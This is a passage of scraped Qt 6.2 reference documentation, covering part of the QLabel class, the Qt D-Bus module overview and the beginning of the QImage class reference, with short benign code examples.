QLabel    *phoneLabel = new QLabel("&Phone:", this);
phoneLabel->setBuddy(phoneEdit);
// (layout setup not shown)
```
 With the code above, the focus jumps to the Name field when the user presses Alt+N, and to the Phone field when the user presses Alt+P.

 To unset a previously set buddy, call this function with *buddy* set to nullptr.

 **See also** [buddy](qlabel#buddy)(), [setText](qlabel#text-prop)(), [QShortcut](qshortcut), and [setAlignment](qlabel#alignment-prop)().

 ### 
`[since 6.1]` void QLabel::setResourceProvider(const QTextDocument::ResourceProvider &*provider*)

 Sets the *provider* of resources for rich text of this label.

  **Note:** The label *does not* take ownership of the *provider*.

  This function was introduced in Qt 6.1.

 **See also** [resourceProvider](qlabel#resourceProvider)().

 ### 
void QLabel::setSelection(int *start*, int *length*)

 Selects text from position *start* and for *length* characters.

 **Note:** The [textInteractionFlags](qlabel#textInteractionFlags-prop) set on the label need to include either TextSelectableByMouse or TextSelectableByKeyboard.

 **See also** [selectedText](qlabel#selectedText-prop)().

 ### 
`[override virtual]` [QSize](qsize) QLabel::sizeHint() const

 Reimplements: [QFrame::sizeHint() const](qframe#sizeHint).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qlabel.html>

Qt D-Bus
========

 Introduction
------------

 D-Bus is an Inter-Process Communication (IPC) and Remote Procedure Calling (RPC) mechanism originally developed for Linux to replace existing and competing IPC solutions with one unified protocol. It has also been designed to allow communication between system-level processes (such as printer and hardware driver services) and normal user processes.

 It uses a fast, binary message-passing protocol, which is suitable for same-machine communication due to its low latency and low overhead. Its specification is currently defined by the `freedesktop.org` project, and is available to all parties.

 Communication in general happens through a central server application, called the "bus" (hence the name), but direct application-to-application communication is also possible. When communicating on a bus, applications can query which other applications and services are available, as well as activate one on demand.

 The Buses
---------

 D-Bus buses are used to when many-to-many communication is desired. In order to achieve that, a central server is launched before any applications can connect to the bus: this server is responsible for keeping track of the applications that are connected and for properly routing messages from their source to their destination.

 In addition, D-Bus defines two well-known buses, called the system bus and the session bus. These buses are special in the sense that they have well-defined semantics: some services are defined to be found in one or both of these buses.

 For example, an application wishing to query the list of hardware devices attached to the computer will probably communicate to a service available on the system bus, while the service providing opening of the user's web browser will be probably found on the session bus.

 On the system bus, one can also expect to find restrictions on what services each application is allowed to offer. Therefore, one can be reasonably certain that, if a certain service is present, it is being offered by a trusted application.

 Concepts
--------

 ### Messages

 On the low level, applications communicate over D-Bus by sending messages to one another. Messages are used to relay the remote procedure calls as well as the replies and errors associated with them. When used over a bus, messages have a destination, which means they are routed only to the interested parties, avoiding congestion due to "swarming" or broadcasting.

 A special kind of message called a "signal message" (a concept based on Qt's [Signals and Slots](signalsandslots) mechanism), however, does not have a pre-defined destination. Since its purpose is to be used in a one-to-many context, signal messages are designed to work over an "opt-in" mechanism.

 The Qt D-Bus module fully encapsulates the low-level concept of messages into a simpler, object-oriented approach familiar to Qt developers. In most cases, the developer need not worry about sending or receiving messages.

 ### Service Names

 When communicating over a bus, applications obtain what is called a "service name": it is how that application chooses to be known by other applications on the same bus. The service names are brokered by the D-Bus bus daemon and are used to route messages from one application to another. An analogous concept to service names are IP addresses and hostnames: a computer normally has one IP address and may have one or more hostnames associated with it, according to the services that it provides to the network.

 On the other hand, if a bus is not used, service names are also not used. If we compare this to a computer network again, this would equate to a point-to-point network: since the peer is known, there is no need to use hostnames to find it or its IP address.

 The format of a D-Bus service name is in fact very similar to a host name: it is a dot-separated sequence of letters and digits. The common practice is even to name one's service name according to the domain name of the organization that defined that service.

 For example, the D-Bus service is defined by `freedesktop.org` and can be found on the bus under the service name:

 
```
org.freedesktop.DBus
```
 ### Object Paths

 Like network hosts, applications provide specific services to other applications by exporting objects. Those objects are hierarchically organised, much like the parent-child relationship that classes derived from [QObject](qobject) possess. One difference, however, is that there is the concept of "root object", that all objects have as ultimate parent.

 If we continue our analogy with Web services, object paths equate to the path part of a URL:

 ![]


Like them, object paths in D-Bus are formed resembling path names on the filesystem: they are slash-separated labels, each consisting of letters, digits and the underscore character ("[\_](qromancalendar)"). They must always start with a slash and must not end with one.

 ### Interfaces

 Interfaces are similar to C++ abstract classes and Java's `interface` keyword and declare the "contract" that is established between caller and callee. That is, they establish the names of the methods, signals and properties that are available as well as the behavior that is expected from either side when communication is established.

 Qt uses a very similar mechanism in its [Plugin system](plugins-howto): Base classes in C++ are associated with a unique identifier by way of the [Q\_DECLARE\_INTERFACE](qtplugin#Q_DECLARE_INTERFACE)() macro.

 D-Bus interface names are, in fact, named in a manner similar to what is suggested by the Qt Plugin System: an identifier usually constructed from the domain name of the entity that defined that interface.

 ### Cheat Sheet

 To facilitate remembering of the naming formats and their purposes, the following table can be used:

 

| D-Bus Concept | Analogy | Name format |
| --- | --- | --- |
| Service name | Network hostnames | Dot-separated ("looks like a hostname") |
| Object path | URL path component | Slash-separated ("looks like a path") |
| Interface | Plugin identifier | Dot-separated |

 Debugging
---------

 When developing applications that use D-Bus, it is sometimes useful to be able to see information about the messages that are sent and received across the bus by each application.

 This feature can be enabled on a per-application basis by setting the `QDBUS_DEBUG` environment variable before running each application. For example, we can enable debugging only for the car in the [D-Bus Remote Controlled Car Example](https://doc.qt.io/qt-6.2/qtdbus-remotecontrolledcar-example.html) by running the controller and the car in the following way:

 
```
examples/dbus/remotecontrolledcar/controller/controller &
QDBUS_DEBUG=1 examples/dbus/remotecontrolledcar/car/car &
```
 Information about the messages will be written to the console the application was launched from.

 Using the Module
----------------

 Using a Qt module requires linking against the module library, either directly or through other dependencies. Several build tools have dedicated support for this, including [CMake](http://www.cmake.org/cmake/help/documentation.html) and [qmake](resources#qmake).

 ### Building with CMake

 Use the `find_package()` command to locate the needed module components in the `Qt6` package:

 
```
find_package(Qt6 COMPONENTS DBus REQUIRED)
target_link_libraries(mytarget PRIVATE Qt6::DBus)
```
 See also the [Build with CMake](cmake-manual) overview.

 ### Building with qmake

 To configure the module for building with qmake, add the module as a value of the `QT` variable in the project's .pro file:

 
```
QT += dbus
```
 Module Evolution
----------------

 [Changes to Qt D-Bus](dbus-changes-qt6) lists important changes in the module API and functionality that were done for the Qt 6 series of Qt.

 Licenses and Attributions
-------------------------

 The Qt D-Bus module is available under commercial licenses from [The Qt Company](http://www.qt.io/about-us/). In addition, it is available under free software licenses: The [GNU Lesser General Public License, version 3](http://www.gnu.org/licenses/lgpl-3.0.html), or the [GNU General Public License, version 2](http://www.gnu.org/licenses/gpl-2.0.html). See [Qt Licensing](https://doc.qt.io/qt-6.2/licensing.html) for further details.

 Furthermore, Qt D-Bus in Qt 6.2.2 may contain third party modules under following permissive licenses:

 

|  |  |
| --- | --- |
| [libdus-1 headers, version dbus-1.13.12](https://doc.qt.io/qt-6.2/qtdbus-attribution-libdbus-1-headers.html) | Academic Free License v2.1, or GNU General Public License v2.0 or later |

 Further Reading
---------------

 The following documents contain information about Qt's D-Bus integration features, and provide details about the mechanisms used to send and receive type information over the bus:

 * [Using Qt D-Bus Adaptors](usingadaptors)
* [The Qt D-Bus Type System](qdbustypesystem)
* [Qt D-Bus XML compiler (qdbusxml2cpp)](qdbusxml2cpp)
* [Qt D-Bus C++ Classes](https://doc.qt.io/qt-6.2/qtdbus-module.html)
* [CMake Commands in Qt6 DBus](cmake-commands-qtdbus)
* [Qt D-Bus Examples](https://doc.qt.io/qt-6.2/examples-dbus.html)
* [D-Bus Viewer](https://doc.qt.io/qt-6.2/qdbusviewer.html)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtdbus-index.html>

QImage Class
============

 The QImage class provides a hardware-independent image representation that allows direct access to the pixel data, and can be used as a paint device. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QImage> |
|  CMake: |  find\_package(Qt6 COMPONENTS Gui REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Gui) |
|  qmake: |  QT += gui |
|  Inherits: | [QPaintDevice](qpaintdevice) |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qimage-members.html)

 **Note:** All functions in this class are [reentrant](threads-reentrancy).

 Public Types
------------

 

|  |  |
| --- | --- |
|  enum  | **[Format](qimage#Format-enum)** { Format\_Invalid, Format\_Mono, Format\_MonoLSB, Format\_Indexed8, Format\_RGB32, …, Format\_RGBA32FPx4\_Premultiplied } |
|  enum  | **[InvertMode](qimage#InvertMode-enum)** { InvertRgb, InvertRgba } |

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  | **[QImage](qimage#QImage-10)**(QImage &&*other*) |
|  | **[QImage](qimage#QImage-9)**(const QImage &*image*) |
|  | **[QImage](qimage#QImage-8)**(const QString &*fileName*, const char \**format* = nullptr) |
|  | **[QImage](qimage#QImage-7)**(const char \*const [] *xpm*) |
|  | **[QImage](qimage#QImage-6)**(const uchar \**data*, int *width*, int *height*, qsizetype *bytesPerLine*, QImage::Format *format*, QImageCleanupFunction *cleanupFunction* = nullptr, void \**cleanupInfo* = nullptr) |
|  | **[QImage](qimage#QImage-5)**(uchar \**data*, int *width*, int *height*, qsizetype *bytesPerLine*, QImage::Format *format*, QImageCleanupFunction *cleanupFunction* = nullptr, void \**cleanupInfo* = nullptr) |
|  | **[QImage](qimage#QImage-4)**(const uchar \**data*, int *width*, int *height*, QImage::Format *format*, QImageCleanupFunction *cleanupFunction* = nullptr, void \**cleanupInfo* = nullptr) |
|  | **[QImage](qimage#QImage-3)**(uchar \**data*, int *width*, int *height*, QImage::Format *format*, QImageCleanupFunction *cleanupFunction* = nullptr, void \**cleanupInfo* = nullptr) |
|  | **[QImage](qimage#QImage-2)**(int *width*, int *height*, QImage::Format *format*) |
|  | **[QImage](qimage#QImage-1)**(const QSize &*size*, QImage::Format *format*) |
|  | **[QImage](qimage#QImage)**() |
|  QImage & | **[operator=](qimage#operator-eq-1)**(QImage &&*other*) |
|  QImage & | **[operator=](qimage#operator-eq)**(const QImage &*image*) |
|  virtual  | **[~QImage](qimage#dtor.QImage)**() |
|  bool  | **[allGray](qimage#allGray)**() const |
|  void  | **[applyColorTransform](qimage#applyColorTransform)**(const QColorTransform &*transform*) |
|  int  | **[bitPlaneCount](qimage#bitPlaneCount)**() const |
|  uchar \* | **[bits](qimage#bits)**() |
|  const uchar \* | **[bits](qimage#bits-1)**() const |
|  qsizetype  | **[bytesPerLine](qimage#bytesPerLine)**() const |
|  qint64  | **[cacheKey](qimage#cacheKey)**() const |
|  QRgb  | **[color](qimage#color)**(int *i*) const |
|  int  | **[colorCount](qimage#colorCount)**() const |
|  QColorSpace  | **[colorSpace](qimage#colorSpace)**() const |
|  QList<QRgb>  | **[colorTable](qimage#colorTable)**() const |
|  const uchar \* | **[constBits](qimage#constBits)**() const |
|  const uchar \* | **[constScanLine](qimage#constScanLine)**(int *i*) const |
|  void  | **[convertTo](qimage#convertTo)**(QImage::Format *format*, Qt::ImageConversionFlags *flags* = Qt::AutoColor) |
|  void  | **[convertToColorSpace](qimage#convertToColorSpace)**(const QColorSpace &*colorSpace*) |
|  QImage  | **[convertToFormat](qimage#convertToFormat)**(QImage::Format *format*, Qt::ImageConversionFlags *flags* = Qt::AutoColor) const & |
|  QImage  | **[convertToFormat](qimage#convertToFormat-1)**(QImage::Format *format*, Qt::ImageConversionFlags *flags* = Qt::AutoColor) && |
|  QImage  | **[convertToFormat](qimage#convertToFormat-2)**(QImage::Format *format*, const QList<QRgb> &*colorTable*, Qt::ImageConversionFlags *flags* = Qt::AutoColor) const |
|  QImage  | **[convertedTo](qimage#convertedTo)**(QImage::Format *format*, Qt::ImageConversionFlags *flags* = Qt::AutoColor) const & |
|  QImage  | **[convertedTo](qimage#convertedTo-1)**(QImage::Format *format*, Qt::ImageConversionFlags *flags* = Qt::AutoColor) && |
|  QImage  | **[convertedToColorSpace](qimage#convertedToColorSpace)**(const QColorSpace &*colorSpace*) const |
|  QImage  | **[copy](qimage#copy)**(const QRect &*rectangle* = QRect()) const |
|  QImage  | **[copy](qimage#copy-1)**(int *x*, int *y*, int *width*, int *height*) const |
|  QImage  | **[createAlphaMask](qimage#createAlphaMask)**(Qt::ImageConversionFlags *flags* = Qt::AutoColor) const |
|  QImage  | **[createHeuristicMask](qimage#createHeuristicMask)**(bool *clipTight* = true) const |
|  QImage  | **[createMaskFromColor](qimage#createMaskFromColor)**(QRgb *color*, Qt::MaskMode *mode* = Qt::MaskInColor) const |
|  int  | **[depth](qimage#depth)**() const |
|  QSizeF  | **[deviceIndependentSize](qimage#deviceIndependentSize)**() const |
|  qreal  | **[devicePixelRatio](qimage#devicePixelRatio)**() const |
|  int  | **[dotsPerMeterX](qimage#dotsPerMeterX)**() const |
|  int  | **[dotsPerMeterY](qimage#dotsPerMeterY)**() const |
|  void  | **[fill](qimage#fill)**(uint *pixelValue*) |
|  void  | **[fill](qimage#fill-1)**(const QColor &*color*) |
|  void  | **[fill](qimage#fill-2)**(Qt::GlobalColor *color*) |
|  QImage::Format  | **[format](qimage#format)**() const |
|  bool  | **[hasAlphaChannel](qimage#hasAlphaChannel)**() const |
|  int  | **[height](qimage#height)**() const |
|  void  | **[invertPixels](qimage#invertPixels)**(QImage::InvertMode *mode* = InvertRgb) |
|  bool  | **[isGrayscale](qimage#isGrayscale)**() const |
|  bool  | **[isNull](qimage#isNull)**() const |
|  bool  | **[load](qimage#load)**(const QString &*fileName*, const char \**format* = nullptr) |
|  bool  | **[load](qimage#load-1)**(QIODevice \**device*, const char \**format*) |
|  bool  | **[loadFromData](qimage#loadFromData)**(QByteArrayView *data*, const char \**format* = nullptr) |
|  bool  | **[loadFromData](qimage#loadFromData-1)**(const uchar \**data*, int *len*, const char \**format* = nullptr) |
|  bool  | **[loadFromData](qimage#loadFromData-2)**(const QByteArray &*data*, const char \**format* = nullptr) |
|  void  | **[mirror](qimage#mirror)**(bool *horizontal* = false, bool *vertical* = true) |
|  QImage  | **[mirrored](qimage#mirrored)**(bool *horizontal* = false, bool *vertical* = true) const & |
|  QImage  | **[mirrored](qimage#mirrored-1)**(bool *horizontal* = false, bool *vertical* = true) && |
|  QPoint  | **[offset](qimage#offset)**() const |
|  QRgb  | **[pixel](qimage#pixel)**(const QPoint &*position*) const |
|  QRgb  | **[pixel](qimage#pixel-1)**(int *x*, int *y*) const |
|  QColor  | **[pixelColor](qimage#pixelColor)**(const QPoint &*position*) const |
|  QColor  | **[pixelColor](qimage#pixelColor-1)**(int *x*, int *y*) const |
|  QPixelFormat  | **[pixelFormat](qimage#pixelFormat)**() const |
|  int  | **[pixelIndex](qimage#pixelIndex)**(const QPoint &*position*) const |
|  int  | **[pixelIndex](qimage#pixelIndex-1)**(int *x*, int *y*) const |
|  QRect  | **[rect](qimage#rect)**() const |
|  bool  | **[reinterpretAsFormat](qimage#reinterpretAsFormat)**(QImage::Format *format*) |
|  void  | **[rgbSwap](qimage#rgbSwap)**() |
|  QImage  | **[rgbSwapped](qimage#rgbSwapped)**() const & |
|  QImage  | **[rgbSwapped](qimage#rgbSwapped-1)**() && |
|  bool  | **[save](qimage#save)**(const QString &*fileName*, const char \**format* = nullptr, int *quality* = -1) const |
|  bool  | **[save](qimage#save-1)**(QIODevice \**device*, const char \**format* = nullptr, int *quality* = -1) const |
|  QImage  | **[scaled](qimage#scaled)**(const QSize &*size*, Qt::AspectRatioMode *aspectRatioMode* = Qt::IgnoreAspectRatio, Qt::TransformationMode *transformMode* = Qt::FastTransformation) const |
|  QImage  | **[scaled](qimage#scaled-1)**(int *width*, int *height*, Qt::AspectRatioMode *aspectRatioMode* = Qt::IgnoreAspectRatio, Qt::TransformationMode *transformMode* = Qt::FastTransformation) const |
|  QImage  | **[scaledToHeight](qimage#scaledToHeight)**(int *height*, Qt::TransformationMode *mode* = Qt::FastTransformation) const |
|  QImage  | **[scaledToWidth](qimage#scaledToWidth)**(int *width*, Qt::TransformationMode *mode* = Qt::FastTransformation) const |
|  uchar \* | **[scanLine](qimage#scanLine)**(int *i*) |
|  const uchar \* | **[scanLine](qimage#scanLine-1)**(int *i*) const |
|  void  | **[setAlphaChannel](qimage#setAlphaChannel)**(const QImage &*alphaChannel*) |
|  void  | **[setColor](qimage#setColor)**(int *index*, QRgb *colorValue*) |
|  void  | **[setColorCount](qimage#setColorCount)**(int *colorCount*) |
|  void  | **[setColorSpace](qimage#setColorSpace)**(const QColorSpace &*colorSpace*) |
|  void  | **[setColorTable](qimage#setColorTable)**(const QList<QRgb> &*colors*) |
|  void  | **[setDevicePixelRatio](qimage#setDevicePixelRatio)**(qreal *scaleFactor*) |
|  void  | **[setDotsPerMeterX](qimage#setDotsPerMeterX)**(int *x*) |
|  void  | **[setDotsPerMeterY](qimage#setDotsPerMeterY)**(int *y*) |
|  void  | **[setOffset](qimage#setOffset)**(const QPoint &*offset*) |
|  void  | **[setPixel](qimage#setPixel)**(const QPoint &*position*, uint *index\_or\_rgb*) |
|  void  | **[setPixel](qimage#setPixel-1)**(int *x*, int *y*, uint *index\_or\_rgb*) |
|  void  | **[setPixelColor](qimage#setPixelColor)**(const QPoint &*position*, const QColor &*color*) |
|  void  | **[setPixelColor](qimage#setPixelColor-1)**(int *x*, int *y*, const QColor &*color*) |
|  void  | **[setText](qimage#setText)**(const QString &*key*, const QString &*text*) |
|  QSize  | **[size](qimage#size)**() const |
|  qsizetype  | **[sizeInBytes](qimage#sizeInBytes)**() const |
|  void  | **[swap](qimage#swap)**(QImage &*other*) |
|  QString  | **[text](qimage#text)**(const QString &*key* = QString()) const |
|  QStringList  | **[textKeys](qimage#textKeys)**() const |
|  CGImageRef  | **[toCGImage](qimage#toCGImage)**() const |
|  HBITMAP  | **[toHBITMAP](qimage#toHBITMAP)**() const |
|  HICON  | **[toHICON](qimage#toHICON)**(const QImage &*mask* = {}) const |
|  QImage  | **[transformed](qimage#transformed)**(const QTransform &*matrix*, Qt::TransformationMode *mode* = Qt::FastTransformation) const |
|  bool  | **[valid](qimage#valid)**(const QPoint &*pos*) const |
|  bool  | **[valid](qimage#valid-1)**(int *x*, int *y*) const |
|  int  | **[width](qimage#width)**() const |
|  QVariant  | **[operator QVariant](qimage#operator-QVariant)**() const |
|  bool  | **[operator!=](qimage#operator-not-eq)**(const QImage &*image*) const |
|  bool  | **[operator==](qimage#operator-eq-eq)**(const QImage &*image*) const |

 Static Public Members
---------------------

 

|  |  |
| --- | --- |
|  QImage  | **[fromData](qimage#fromData)**(QByteArrayView *data*, const char \**format* = nullptr) |
|  QImage  | **[fromData](qimage#fromData-1)**(const uchar \**data*, int *size*, const char \**format* = nullptr) |
|  QImage  | **[fromData](qimage#fromData-2)**(const QByteArray &*data*, const char \**format* = nullptr) |
|  QImage  | **[fromHBITMAP](qimage#fromHBITMAP)**(HBITMAP *hbitmap*) |
|  QImage  | **[fromHICON](qimage#fromHICON)**(HICON *icon*) |
|  QImage::Format  | **[toImageFormat](qimage#toImageFormat)**(QPixelFormat *format*) |
|  QPixelFormat  | **[toPixelFormat](qimage#toPixelFormat)**(QImage::Format *format*) |
|  QTransform  | **[trueMatrix](qimage#trueMatrix)**(const QTransform &*matrix*, int *width*, int *height*) |

 Related Non-Members
-------------------

 

|  |  |
| --- | --- |
|  | **[QImageCleanupFunction](qimage#QImageCleanupFunction-typedef)** |
|  QDataStream & | **[operator<<](qimage#operator-lt-lt)**(QDataStream &*stream*, const QImage &*image*) |
|  QDataStream & | **[operator>>](qimage#operator-gt-gt)**(QDataStream &*stream*, QImage &*image*) |

 Detailed Description
--------------------

 Qt provides four classes for handling image data: QImage, [QPixmap](qpixmap), [QBitmap](qbitmap) and [QPicture](qpicture). QImage is designed and optimized for I/O, and for direct pixel access and manipulation, while [QPixmap](qpixmap) is designed and optimized for showing images on screen. [QBitmap](qbitmap) is only a convenience class that inherits [QPixmap](qpixmap), ensuring a depth of 1. Finally, the [QPicture](qpicture) class is a paint device that records and replays [QPainter](qpainter) commands.

 Because QImage is a [QPaintDevice](qpaintdevice) subclass, [QPainter](qpainter) can be used to draw directly onto images. When using [QPainter](qpainter) on a QImage, the painting can be performed in another thread than the current GUI thread.

 The QImage class supports several image formats described by the [Format](qimage#Format-enum) enum. These include monochrome, 8-bit, 32-bit and alpha-blended images which are available in all versions of Qt 4.x.

 QImage provides a collection of functions that can be used to obtain a variety of information about the image. There are also several functions that enables transformation of the image.

 QImage objects can be passed around by value since the QImage class uses [implicit data sharing](implicit-sharing). QImage objects can also be streamed and compared.

  **Note:** If you would like to load QImage objects in a static build of Qt, refer to the [Plugin HowTo](plugins-howto).

   **Warning:** Painting on a QImage with the format [QImage::Format\_Indexed8](qimage#Format-enum) is not supported.

  ### Reading and Writing Image Files

 QImage provides several ways of loading an image file: The file can be loaded when constructing the QImage object, or by using the [load](qimage#load)() or [loadFromData](qimage#loadFromData)() functions later on. QImage also provides the static [fromData](qimage#fromData)() function, constructing a QImage from the given data. When loading an image, the file name can either refer to an actual file on disk or to one of the application's embedded resources. See [The Qt Resource System](resources) overview for details on how to embed images and other resource files in the application's executable.

 Simply call the [save](qimage#save)() function to save a QImage object.

 The complete list of supported file formats are available through the [QImageReader::supportedImageFormats](qimagereader#supportedImageFormats)() and [QImageWriter::supportedImageFormats](qimagewriter#supportedImageFormats)() functions. New file formats can be added as plugins. By default, Qt supports the following formats:

 

| Format | Description | Qt's support |
| --- | --- | --- |
| BMP | Windows Bitmap | Read/write |
| GIF | Graphic Interchange Format (optional) | Read |
| JPG | Joint Photographic Experts Group | Read/write |
| JPEG | Joint Photographic Experts Group | Read/write |
| PNG | Portable Network Graphics | Read/write |
| PBM | Portable Bitmap | Read |
| PGM | Portable Graymap | Read |
| PPM | Portable Pixmap | Read/write |
| XBM | X11 Bitmap | Read/write |
| XPM | X11 Pixmap | Read/write |

 ### Image Information

 QImage provides a collection of functions that can be used to obtain a variety of information about the image:

 

|  | Available Functions |
| --- | --- |
| Geometry | The [size](qimage#size)(), [width](qimage#width)(), [height](qimage#height)(), [dotsPerMeterX](qimage#dotsPerMeterX)(), and [dotsPerMeterY](qimage#dotsPerMeterY)() functions provide information about the image size and aspect ratio.The [rect](qimage#rect)() function returns the image's enclosing rectangle. The [valid](qimage#valid)() function tells if a given pair of coordinates is within this rectangle. The [offset](qimage#offset)() function returns the number of pixels by which the image is intended to be offset by when positioned relative to other images, which also can be manipulated using the [setOffset](qimage#setOffset)() function. |
| Colors | The color of a pixel can be retrieved by passing its coordinates to the [pixel](qimage#pixel)() function. The [pixel](qimage#pixel)() function returns the color as a [QRgb](qcolor#QRgb-typedef) value independent of the image's format.In case of monochrome and 8-bit images, the [colorCount](qimage#colorCount)() and [colorTable](qimage#colorTable)() functions provide information about the color components used to store the image data: The [colorTable](qimage#colorTable)() function returns the image's entire color table. To obtain a single entry, use the [pixelIndex](qimage#pixelIndex)() function to retrieve the pixel index for a given pair of coordinates, then use the [color](qimage#color)() function to retrieve the color. Note that if you create an 8-bit image manually, you have to set a valid color table on the image as well. The [hasAlphaChannel](qimage#hasAlphaChannel)() function tells if the image's format respects the alpha channel, or not. The [allGray](qimage#allGray)() and [isGrayscale](qimage#isGrayscale)() functions tell whether an image's colors are all shades of gray. See also the [Pixel Manipulation](qimage#pixel-manipulation) and [Image Transformations](qimage#image-transformations) sections. |
| Text | The [text](qimage#text)() function returns the image text associated with the given text key. An image's text keys can be retrieved using the [textKeys](qimage#textKeys)() function. Use the [setText](qimage#setText)() function to alter an image's text. |
| Low-level information | The [depth](qimage#depth)() function returns the depth of the image. The supported depths are 1 (monochrome), 8, 16, 24 and 32 bits. The [bitPlaneCount](qimage#bitPlaneCount)() function tells how many of those bits that are used. For more information see the [Image Formats](qimage#image-formats) section.The [format](qimage#format)(), [bytesPerLine](qimage#bytesPerLine)(), and [sizeInBytes](qimage#sizeInBytes)() functions provide low-level information about the data stored in the image. The [cacheKey](qimage#cacheKey)() function returns a number that uniquely identifies the contents of this QImage object. |

 ### Pixel Manipulation

 The functions used to manipulate an image's pixels depend on the image format. The reason is that monochrome and 8-bit images are index-based and use a color lookup table, while 32-bit images store ARGB values directly. For more information on image formats, see the [Image Formats](qimage#image-formats) section.

 In case of a 32-bit image, the [setPixel](qimage#setPixel)() function can be used to alter the color of the pixel at the given coordinates to any other color specified as an ARGB quadruplet. To make a suitable [QRgb](qcolor#QRgb-typedef) value, use the [qRgb](qcolor#qRgb)() (adding a default alpha component to the given RGB values, i.e. creating an opaque color) or [qRgba](qcolor#qRgba)() function. For example:

 

| 32-bit |
| --- |
|  | 
```
QImage image(3, 3, QImage::Format_RGB32);
QRgb value;

value = qRgb(189, 149, 39); // 0xffbd9527
image.setPixel(1, 1, value);

value = qRgb(122, 163, 39); // 0xff7aa327
image.setPixel(0, 1, value);
image.setPixel(1, 0, value);

value = qRgb(237, 187, 51); // 0xffedba31
image.setPixel(2, 1, value);
```
 |

 In case of a 8-bit and monchrome images, the pixel value is only an index from the image's color table. So the [setPixel](qimage#setPixel)() function can only be used to alter the color of the pixel at the given coordinates to a predefined color from the image's color table, i.e. it can only change the pixel's index value. To alter or add a color to an image's color table, use the [setColor](qimage#setColor)() function.

 An entry in the color table is an ARGB quadruplet encoded as an [QRgb](qcolor#QRgb-typedef) value. Use the [qRgb](qcolor#qRgb)() and [qRgba](qcolor#qRgba)() functions to make a suitable [QRgb](qcolor#QRgb-typedef) value for use with the [setColor](qimage#setColor)() function. For example:

 

| 8-bit |
| --- |
|  | 
```
QImage image(3, 3, QImage::Format_Indexed8);
QRgb value;

value = qRgb(122, 163, 39); // 0xff7aa327
image.setColor(0, value);

value = qRgb(237, 187, 51); // 0xffedba31
image.setColor(1, value);

value = qRgb(189, 149, 39); // 0xffbd9527
image.setColor(2, value);

image.setPixel(0, 1, 0);
image.setPixel(1, 0, 0);
image.setPixel(1, 1, 2);
image.setPixel(2, 1, 1);
```
 |

 For images with more than 8-bit per color-channel. The methods [setPixelColor](qimage#setPixelColor)() and [pixelColor](qimage#pixelColor)() can be used to set and get with [QColor](qcolor) values.

 QImage also provide the [scanLine](qimage#scanLine)() function which returns a pointer to the pixel data at the scanline with the given index, and the [bits](qimage#bits)() function which returns a pointer to the first pixel data (this is equivalent to `scanLine(0)`).

 ### Image Formats

 Each pixel stored in a QImage is represented by an integer. The size of the integer varies depending on the format. QImage supports several image formats described by the [Format](qimage#Format-enum) enum.

 Monochrome images are stored using 1-bit indexes into a color table with at most two colors. There are two different types of monochrome images: big endian (MSB first) or little endian (LSB first) bit order.

 8-bit images are stored using 8-bit indexes into a color table, i.e. they have a single byte per pixel. The color table is a [QList](qlist)<[QRgb](qcolor#QRgb-typedef)>, and the [QRgb](qcolor#QRgb-typedef) typedef is equivalent to an unsigned int containing an ARGB quadruplet on the format 0xAARRGGBB.

 32-bit images have no color table; instead, each pixel contains an [QRgb](qcolor#QRgb-typedef) value. There are three different types of 32-bit images storing RGB (i.e. 0xffRRGGBB), ARGB and premultiplied ARGB values respectively. In the premultiplied format the red, green, and blue channels are multiplied by the alpha component divided by 255.

 An image's format can be retrieved using the [format](qimage#format)() function. Use the [convertToFormat](qimage#convertToFormat)() functions to convert an image into another format. The [allGray](qimage#allGray)() and [isGrayscale](qimage#isGrayscale)() functions tell whether a color image can safely be converted to a grayscale image.

 ### Image Transformations

 QImage supports a number of functions for creating a new image that is a transformed version of the original: The [createAlphaMask](qimage#createAlphaMask)() function builds and returns a 1-bpp mask from the alpha buffer in this image, and the [createHeuristicMask](qimage#createHeuristicMask)() function creates and returns a 1-bpp heuristic mask for this image. The latter function works by selecting a color from one of the corners, then chipping away pixels of that color starting at all the edges.

 The [mirrored](qimage#mirrored)() function returns a mirror of the image in the desired direction, the [scaled](qimage#scaled)() returns a copy of the image scaled to a rectangle of the desired measures, and the [rgbSwapped](qimage#rgbSwapped)() function constructs a BGR image from a RGB image.

 The [scaledToWidth](qimage#scaledToWidth)() and [scaledToHeight](qimage#scaledToHeight)() functions return scaled copies of the image.

 The [transformed](qimage#transformed)() function returns a copy of the image that is transformed with the given transformation matrix and transformation mode: Internally, the transformation matrix is adjusted to compensate for unwanted translation, i.e. [transformed](qimage#transformed)() returns the smallest image containing all transformed points of the original image. The static [trueMatrix](qimage#trueMatrix)() function returns the actual matrix used for transforming the image.

 There are also functions for changing attributes of an image in-place:

 

| Function | Description |
| --- | --- |
| [setDotsPerMeterX](qimage#setDotsPerMeterX)() | Defines the aspect ratio by setting the number of pixels that fit horizontally in a physical meter. |
| [setDotsPerMeterY](qimage#setDotsPerMeterY)() | Defines the aspect ratio by setting the number of pixels that fit vertically in a physical meter. |
| [fill](qimage#fill)() | Fills the entire image with the given pixel value. |
| [invertPixels](qimage#invertPixels)() | Inverts all pixel values in the image using the given [InvertMode](qimage#InvertMode-enum) value. |
| [setColorTable](qimage#setColorTable)() | Sets the color table used to translate color indexes. Only monochrome and 8-bit formats. |
| [setColorCount](qimage#setColorCount)() | Resizes the color table. Only monochrome and 8-bit formats. |

 **See also** [QImageReader](qimagereader), [QImageWriter](qimagewriter), [QPixmap](qpixmap), [QSvgRenderer](qsvgrenderer), [Image Composition Example](https://doc.qt.io/qt-6.2/qtwidgets-painting-imagecomposition-example.html), [Image Viewer Example](https://doc.qt.io/qt-6.2/qtwidgets-widgets-imageviewer-example.html), [Scribble Example](https://doc.qt.io/qt-6.2/qtwidgets-widgets-scribble-example.html), and [Pixelator Example](https://doc.qt.io/qt-6.2/qtwidgets-itemviews-pixelator-example.html).

 Member Type Documentation
-------------------------

 ### enum QImage::Format

 The following image formats are available in Qt. See the notes after the table.

 

| Constant | Value | Description |
| --- | --- | --- |
| `QImage::Format_Invalid` | `0` | The image is invalid. |
| `QImage::Format_Mono` | `1` | The image is stored using 1-bit per pixel. Bytes are packed with the most significant bit (MSB) first. |
